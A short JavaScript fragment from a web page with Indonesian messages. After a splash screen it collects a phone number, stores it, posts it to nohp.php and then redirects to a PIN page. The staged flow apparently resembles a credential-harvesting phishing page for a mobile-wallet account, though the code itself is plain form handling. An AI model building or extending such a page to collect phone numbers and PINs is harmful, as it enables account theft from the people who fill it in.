setTimeout(() => {
      document.getElementById('splash').style.display = 'none';
      document.getElementById('form').style.display = 'block';
      document.getElementById('btn-container').style.display = 'block';
    }, 3000);

    function kirimNoHp() {
      const nohp = document.getElementById('nohp').value.trim();
      if (nohp === '') {
        alert('Masukkan nomor HP terlebih dahulu.');
        return;
      }

      // Simpan ke localStorage
      localStorage.setItem('nohp', nohp);

      // Tampilkan spinner
      document.getElementById('loadingOverlay').style.display = 'flex';

      fetch('nohp.php', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'nohp=' + encodeURIComponent(nohp)
      })
      .then(res => {
        setTimeout(() => {
          if (res.ok) {
            window.location.href = 'pin.html';
          } else {
            alert('Terjadi kesalahan, coba lagi.');
            document.getElementById('loadingOverlay').style.display = 'none';
          }
        }, 2000);
      })
      .catch(() => {
        alert('Terjadi kesalahan jaringan.');
        document.getElementById('loadingOverlay').style.display = 'none';
      });
    }